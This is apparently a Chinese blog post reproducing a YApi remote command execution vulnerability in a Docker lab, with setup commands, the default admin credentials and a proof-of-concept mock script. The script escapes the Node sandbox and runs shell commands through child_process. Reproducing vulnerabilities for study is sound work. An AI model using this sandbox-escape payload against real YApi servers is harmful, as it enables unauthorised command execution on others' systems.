Yapi远程命令执行漏洞复现

作者: print("") 分类: 信息安全 发布时间: 2021-07-08 15:06

前面环境搭建。遇到了一些坑。最终换到Docker 

最终还是Docker 真香

docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi

mkdir -p /home/data/yapi/mongodata

docker run --restart always -v /home/data/yapi/mongodata:/data/db -d --name yapimongo mongo

docker run -it --rm --link yapimongo:mongo --entrypoint npm --workdir /api/vendors registry.cn-hangzhou.aliyuncs.com/anoy/yapi run install-server


docker run -d  --restart=always --name yapi  --link yapimongo:mongo --workdir /api/vendors  -p 3001:3000  registry.cn-hangzhou.aliyuncs.com/anoy/yapi  server/app.js

启动成功之后。访问IP:3001

初始化管理员账号成功,账号名:”admin@admin.com”,密码:”ymfe.org”

登录进去之后新建项目

然后选择设置全局的mock脚本,设置命令

POC:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()

然后访问URL

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注